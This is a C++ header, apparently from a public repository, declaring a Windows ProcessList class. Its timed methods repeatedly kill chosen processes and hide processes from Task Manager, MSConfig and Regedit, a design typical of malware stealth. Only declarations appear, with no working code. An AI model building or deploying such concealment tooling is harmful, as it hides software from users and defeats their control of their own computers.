-
Notifications
You must be signed in to change notification settings - Fork 9
/
ProcessList.h
54 lines (45 loc) · 2.32 KB
/
ProcessList.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include <Tlhelp32.h>
#include <commctrl.h>
#include "Process.h"
#define DEFAULT_INTERVAL_KILL 125
#define DEFAULT_INTERVAL_HIDE 25
#pragma once
class ProcessList {
private:
Process ** processNameList;
unsigned long numProcess;
unsigned long msecDelayKill;
unsigned long msecDelayHideTaskManager;
unsigned long msecDelayHideMSConfig;
unsigned long msecDelayHideRegedit;
bool quitKillProcessThread;
bool quitHideProcessTaskManagerThread;
bool quitHideProcessMSConfigThread;
bool quitHideProcessRegeditThread;
public:
ProcessList();
bool addProcess(const char * processName, char * patternToHideMSConfig = NULL, char * patternToHideRegedit = NULL);
bool killProcessList();
bool killPermanentProcessList(unsigned long msecIntervalKill = DEFAULT_INTERVAL_KILL);
bool hideProcessListTaskManager();
bool hidePermanentProcessListTaskManager(unsigned long msecIntervalKill = DEFAULT_INTERVAL_HIDE);
bool hideProcessListMSConfig();
bool hidePermanentProcessListMSConfig(unsigned long msecIntervalKill = DEFAULT_INTERVAL_HIDE);
bool hideProcessListRegedit();
bool hidePermanentProcessListRegedit(unsigned long msecIntervalKill = DEFAULT_INTERVAL_HIDE);
void setTerminateKillProcessThread(bool value);
void setTerminateHideProcessTaskManagerThread(bool value);
void setTerminateHideProcessMSConfigThread(bool value);
void setTerminateHideProcessRegeditThread(bool value);
bool terminateKillProcessThread() { return quitKillProcessThread; }
bool terminateHideProcessTaskManagerThread() { return quitHideProcessTaskManagerThread; }
bool terminateHideProcessMSConfigThread() { return quitHideProcessMSConfigThread; }
bool terminateHideProcessRegeditThread() { return quitHideProcessRegeditThread; }
Process ** getProcessList() { return processNameList; }
unsigned long getNumProcess() { return numProcess; }
unsigned long getIntervalKill() { return msecDelayKill; }
unsigned long getIntervalTaskManagerHide() { return msecDelayHideTaskManager; }
unsigned long getIntervalMSConfigHide() { return msecDelayHideMSConfig; }
unsigned long getIntervalRegeditHide() { return msecDelayHideRegedit; }
};